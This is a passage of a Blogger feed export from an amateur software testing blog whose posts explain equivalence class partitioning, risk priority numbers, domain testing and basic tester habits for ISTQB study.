&lt;/b&gt; &lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/8767900986771674692/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2011/10/boundary-value-analysis.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/8767900986771674692'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/8767900986771674692'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2011/10/boundary-value-analysis.html' title='Boundary Value Analysis'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-wdhL5OdARj3Q-AGFU0mknjFfacH1N0JgJuHRU5muEmGpuzc-Jyvsjll0M3D3poCDNmx8K75ekxCFGiKT0-8GyjWkQxqaDWO_ki0IB-Tkbr2HgTzcMneJKSBtST8bHGkkgcQ3fKnvYtw/s72-c/Boundary.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-1029350420661007021</id><published>2011-10-07T12:42:00.000+05:30</published><updated>2011-10-07T15:16:04.918+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="EQP"/><title type='text'>Equivalence Class Partitioning</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;An equivalence class is defined as a subset of the form {x in X:xRa}, where a is an element of X and the notation &quot;xRy&quot; is used to mean that there is an equivalence relation between x and y.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: blue;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;An equivalence relation on a set X is a subset of XxX, i.e., a collection R of ordered pairs of elements of x, satisfying certain properties. Write xRy to mean (x,y) is an element of R, and we say x is related to Y  then the properties are &lt;/span&gt;&lt;/b&gt; &lt;/div&gt;&lt;ol style=&quot;color: #38761d;&quot;&gt;&lt;li&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;Reflexive: aRa for all a  belongs to X,&lt;/span&gt;&lt;/b&gt; &lt;/li&gt;
&lt;/ol&gt;&lt;ol start=&quot;2&quot; style=&quot;color: #38761d;&quot;&gt;&lt;li&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;Symmetric: aRb  implies  bRa for all a,b  belongs to X,,&lt;/span&gt;&lt;/b&gt; &lt;/li&gt;
&lt;/ol&gt;&lt;ol start=&quot;3&quot;&gt;&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: #38761d; font-family: Arial,sans-serif;&quot;&gt;Transitive: aRb and bRc imply  aRc for all a,b,c belongs to X,,&lt;/span&gt;&lt;/b&gt; &lt;/li&gt;
&lt;/ol&gt;&lt;div align=&quot;LEFT&quot; style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Fix a natural number &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;n&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;. We say that two integers &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;a, b&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;are congruent&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; modulo &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;n &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;if their difference is divisible by &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;n&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;. And if that&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;is the case, we write &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;b &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;(mod &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;n&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;) where a and b both belongs to set natural numbers with relation congruent&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; modulo &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;n . and output is ever an integer.  Integers are in &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;an equivalence relation  set in regards of Relation.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Hence we know all input will same behavior  with application but there is also limit for valid and invalid. So we looks forwards and create class in valid and invalid class.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Same as for  login window &lt;/span&gt;&lt;/span&gt;&lt;/b&gt; &lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;color: #4c1130; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;user have two  input conditions.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;ol style=&quot;color: #4c1130;&quot;&gt;&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;User  ID&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Password&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;div align=&quot;LEFT&quot; style=&quot;color: #4c1130; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;User Id is of two type valid and invalid.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;color: #4c1130; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Valid set of user id is in equivalence class because all valid user ids are created using same process and are having all the three relations. &lt;/span&gt;&lt;/span&gt;&lt;/b&gt; &lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;color: #4c1130; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;color: #4c1130; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Lets take another example:&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;color: #4c1130; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;In a computer store, the computer item can have a quantity between -500 to +500. in this case we can take any value from in &lt;/span&gt;&lt;/span&gt;&lt;/b&gt; &lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;color: #4c1130; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;&lt;div align=&quot;LEFT&quot; style=&quot;color: #4c1130; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Valid class: -500 &amp;lt;= QTY &amp;lt;= +500&lt;br /&gt;
Invalid class: QTY &amp;gt; +500&lt;br /&gt;
Invalid class: QTY &amp;lt; -500&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/1029350420661007021/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2011/10/equivalence-class-partitioning.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/1029350420661007021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/1029350420661007021'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2011/10/equivalence-class-partitioning.html' title='Equivalence Class Partitioning'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-4398031733347640228</id><published>2011-09-05T19:12:00.000+05:30</published><updated>2011-09-05T19:54:26.028+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Risk.........."/><title type='text'>Risk and Risk.....................</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;b style=&quot;color: blue;&quot;&gt;What is Risk analysis: It is the estimation of the RISK.&lt;/b&gt;&lt;b&gt;&lt;br /&gt;
&lt;span style=&quot;color: #38761d;&quot;&gt;In order to perform analysis following steps are undertaken.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGBgbJBD_CmJL_ej3IfcyVDgtwlXTGkFZ45Jgfm-FjtD3VcY5wtmh9zQrFB4Jnb_QIiBRpOWiPwN6-JE_7GltezEI1aGMXa7y1-pLwiX5O8LvAH1fKX0Zo0GaQgiDUE8xvQl8ha3kF29I/s1600/r1.bmp&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span id=&quot;goog_508990842&quot;&gt;&lt;/span&gt;&lt;span id=&quot;goog_508990843&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsU6z9JPNLyhRfpksVnx32ll1o2nL82mSPbJ_yAfHqzXIK_lY-8p4xNTRiGxr2Sog2i46HY6TCd6BCx50W8XuwDW-8WRrAwTCfRQCUreEnJtpNfzEp0g7yisHSrFAGvZDQ4KhCqNk8N6g/s1600/r3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;167&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsU6z9JPNLyhRfpksVnx32ll1o2nL82mSPbJ_yAfHqzXIK_lY-8p4xNTRiGxr2Sog2i46HY6TCd6BCx50W8XuwDW-8WRrAwTCfRQCUreEnJtpNfzEp0g7yisHSrFAGvZDQ4KhCqNk8N6g/s320/r3.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;Identify the risk associated with product, i.e. it can be done by carefully going through the requirements specification, design specification, or other available items.&lt;/span&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;Risk needs to be categorized, i.e. functionality, performance, reliability etc.&lt;/span&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;Once the RISK is identified, rate them based on IMPACT and OCCURANCE&lt;/span&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;RPN: (risk priority number) – RPN= Impact * Occurrence&lt;/span&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;**Ranging from 1 to 5 (1 referring high impact and 5 referring the low impact)&lt;/span&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;RPN will range from 1 to 25 (Note there can be other possible schemes also)&lt;/span&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;4. Identify the most risky areas i.e. RPN in range from 1 to 5 are supposed to affect the Product most and from 20-25 might affect the Product at the lowest level.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSqJ9Lieldk-whoNtk9By9ksKkZ_sXPmPu7HNWxnnQebIaYoIKzN5OIArumJthxTz9y4FxXqia829MVMOKIZZXwmCrSkUlwbpqlKz6ZerjEesofAH0g2YlsWXHI0ax8GeP44uGsrZbZ14/s1600/r2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;207&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSqJ9Lieldk-whoNtk9By9ksKkZ_sXPmPu7HNWxnnQebIaYoIKzN5OIArumJthxTz9y4FxXqia829MVMOKIZZXwmCrSkUlwbpqlKz6ZerjEesofAH0g2YlsWXHI0ax8GeP44uGsrZbZ14/s320/r2.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;b&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;Managing Risk&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #3d85c6;&quot;&gt;Implement appropriate measures to deal with the identified risks:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #38761d;&quot;&gt;1. Take steps in advance to reduce the likelihood (and possibly the impact) of the risk.&lt;/span&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;2. Have a plan in place to reduce the impact should the risk become an outcome.&lt;/span&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;3. Convince some other member of the team or project stakeholder to reduce the likelihood or accept the impact of the risk.&lt;/span&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;4. Do nothing about the risk, which is usually a smart option only when there&#39;s little that can be done or when the likelihood and impact are&lt;/span&gt;&lt;br style=&quot;color: #38761d;&quot; /&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;low.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/4398031733347640228/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2011/09/risk-and-risk.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/4398031733347640228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/4398031733347640228'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2011/09/risk-and-risk.html' title='Risk and Risk.....................'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsU6z9JPNLyhRfpksVnx32ll1o2nL82mSPbJ_yAfHqzXIK_lY-8p4xNTRiGxr2Sog2i46HY6TCd6BCx50W8XuwDW-8WRrAwTCfRQCUreEnJtpNfzEp0g7yisHSrFAGvZDQ4KhCqNk8N6g/s72-c/r3.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-3296320866333813173</id><published>2011-05-16T16:11:00.000+05:30</published><updated>2011-05-16T16:52:07.543+05:30</updated><title type='text'>Domain testing</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;color: #274e13;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span lang=&quot;EN-IN&quot;&gt;Writer: Perl can you test an air bus?&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;b style=&quot;color: #274e13;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;  &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;color: #274e13;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span lang=&quot;EN-IN&quot;&gt;Perl: I had never ride on air bus than how? &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;b style=&quot;color: #274e13;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;  &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;color: #274e13;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span lang=&quot;EN-IN&quot;&gt;Writer: Perl learn about air bus and learn also how to handle it in air than you can &lt;/span&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-family: Wingdings;&quot;&gt;:)&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;b style=&quot;color: #274e13;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;  &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;Domain is about to specification. It basically a term used for defining a system. Like player has knowledge of it game and game becomes a domain for him. A shopkeeper knows how to tackle their customers.  A  Goldsmith can judge and also change Gold design.  Blacksmith   is known about quality and use of Iron. Same as An application is based on specification with boundaries that creates a domain with ranges. Testing of domain is critical part. Normally we do both type of testing Black box and white box testing.  Critical thing about Domain testing is specification knowledge.  These specifications make Domain of two types.&lt;/span&gt;&lt;br /&gt;
Nice Domain&lt;br /&gt;
Dirty Domain&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;Nice domain clearly defines it’s boundaries in linear manner. Specifications are clear may they have ranges from&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;- infinity &lt;span style=&quot;color: blue;&quot;&gt;to&lt;/span&gt; + infinity &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;color: blue;&quot;&gt;&lt;b&gt;Dirty domains mostly are just because of misconception of specification. No proper design based on Input ranges. &lt;/b&gt;&lt;/div&gt;&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/3296320866333813173/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2011/05/domain-testing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/3296320866333813173'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/3296320866333813173'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2011/05/domain-testing.html' title='Domain testing'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-7981704340436061759</id><published>2010-11-14T10:26:00.000+05:30</published><updated>2010-11-14T10:26:08.329+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="software testing Introduction"/><title type='text'>Software Tesing Start point to ISTQB Certification</title><content type='html'>&lt;title&gt;&lt;/title&gt;&lt;style&gt;
	&lt;!--
		@page { margin: 0.79in }
		P { margin-bottom: 0.08in }
	--&gt;
	
&lt;/style&gt; &lt;br /&gt;
&lt;div style=&quot;color: #274e13; margin-bottom: 0in;&quot;&gt;&lt;u&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;Testing and Tester:&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;/div&gt;&lt;div style=&quot;color: #274e13; margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;color: red; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;i&gt;Writer:-“My Dear PerL”!   Have you take alcohol ever before testing? Perl-No I have never took a drop of alcohol in my life. Writer K nice but when I give you a shot of alcohol for testing than. Perl -I will take alcohol for test its taste.&amp;nbsp;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: red; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;/b&gt; &lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;Testing is different and very responsible work. If you think as creator, it is very hard to get problems of your own creation. Generally, I have never heard the any mother say against her child in any worse case she like her bad habits also. This is same case ever with a creator. Developers like their own apps as their child if they found any minor bugs, they neglect them in most of the cases.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;i.e. why when we start to test application be become  static and have no relation with application and creator of  application. May be developer can test it’s own application but now his way of testing should be change he should think as tester after forgetting of application with its relation for best result.&lt;/div&gt;&lt;div style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;Testing is process of find out problems of application. These problems can more critical or minor but tester emphasizes over the all the problems of all type. Some time it happens that minor problem becomes critical to system.&lt;/div&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;Software testing is any activity aimed at evaluating an attribute or capability of a program or system and determining that it meets its required results&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;title&gt;&lt;/title&gt;&lt;style&gt;
	&lt;!--
		@page { margin: 0.79in }
		P { margin-bottom: 0.08in }
	--&gt;
	
&lt;/style&gt; &lt;/div&gt;&lt;div style=&quot;color: #274e13; margin-bottom: 0in;&quot;&gt;&lt;u&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;Basics of good tester:   &lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;Plan your tests before execute the 	test cases.&lt;/b&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;whenever a tester found a bug 	repeat the  procedure to found that bug at least three time.&lt;/b&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;A tester should use clear worlds 	to define the bug. There will be no ambiguity in definition of bug.&lt;/b&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;Summary in report should be crisp 	and neat and short. I&lt;/b&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;Bug report must be conduce. 	&lt;/b&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;Bug report must emphasize over bug 	not, have indication to the developer. At least report must be 	reviewed by an expert.&lt;/b&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;It is good if there will be any 	additional information is available in bug report.&lt;/b&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;Tester must define priority, 	severity , version very keenly about the bug.&lt;/b&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/7981704340436061759/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2010/09/software-tesing-start-point-to-istqb.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/7981704340436061759'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/7981704340436061759'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2010/09/software-tesing-start-point-to-istqb.html' title='Software Tesing Start point to ISTQB Certification'/><author><name>Prabhanshu 